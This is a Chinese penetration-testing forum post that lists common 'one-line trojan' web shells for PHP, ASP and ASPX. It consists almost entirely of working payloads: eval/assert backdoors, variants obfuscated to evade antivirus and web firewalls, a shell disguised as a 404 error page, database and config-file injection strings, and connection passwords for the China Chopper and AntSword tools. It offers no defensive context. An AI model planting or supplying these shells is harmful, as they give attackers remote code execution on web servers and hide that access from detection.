常见的一句话木马

Eternaler 6月前 108

1、普通一句话:

1
2
3
<?php
@eval($_POST[123456]);
?>

*post后面中括号里面的内容是使用菜刀或蚁剑连接时的密码

2、防爆破一句话:

1
2
3
4
<?php
substr(md5($_REQUEST['x']),28)=='6862'&&eval($_REQUEST['password']);
?>
*菜刀地址http://192.168.64.137/x.php?x=myh0st

3、过狗一句话:

1
2
3
4
5
<?php
($_=@$_GET[s]).@$_($_POST[hihack])
?> //菜刀地址 http://localhost/1.php?s=assert
<php $a = "a"."s"."s"."e"."r"."t"; $a($_POST[hihack]);
?>

4、404隐藏的一句话:

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /error.php was not found on this server. </p>
</body></html>
<?php
@preg_replace("/[checksql]/e",$_POST['hihack'],"saft");
?>

菜刀连接时在配置栏添加:

1
<O>date=@eval($_POST[paxmac]);</O>

5、不用问号(?)的一句话:

1
<script language="php">eval ($_POST[hihack]);</script>

6、躲避检测:

1
<?php assert($_REQUEST["hihack"]);?>

7、变形一句话后门:

1
访问该网页,然后菜刀连接:/myh0st.php 密码:hihack

ASP一句话:

1、普通一句话:

1
<%eval request("hihack")%>或<%execute(request("hihack"))%>

2、unicode编码的access木马 :

1
向access数据库插入 ┼攠數畣整爠煥敵瑳∨≡┩> 编码前:<% execute request("a")%>

然后备份出webshell,密码a

3、配置文件插马(需要条件支持,插入的数据被写在了配置文件中):

1
插入:"%><% bbbb=request("aaaa")%><%eval(bbbb)%><%'

访问报错,获取到配置文件的地址,然后连接,密码aaaa

4、不用%的一句话:

1
<script language=VBScript runat=server>execute request("hihack")</script>

5、不用双引号(“)的一句话:

1
<%eval request(chr(35))%> 密码:#

ASPX一句话:

1、普通一句话:

1
<%@ Page Language=”Jscript”%> <%eval(Request.Item[“hihack”],”unsafe”);%>

2、免杀一句话:

1
<%@PAGE LANGUAGE=JSCRIPT%><%var PAY:String=Request[“x61x62x63x64”];eval(PAY,”x75x6Ex73x61”+”x66x65”);%>
帖子版权声明 1、本帖标题:常见的一句话木马
    本站网址:http://bbs.tiger2019.cn/
2、本网站的资源部分来源于网络,如有侵权,请联系站长进行删除处理。
3、会员发帖仅代表会员个人观点,并不代表本站赞同其观点和对其真实性负责。
4、本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
5、站长邮箱:Administrator@tiger2019.cn 除非注明,本帖由Eternaler在本站《渗透测试》版块原创发布, 转载请注明出处!
最新回复 (0)
返回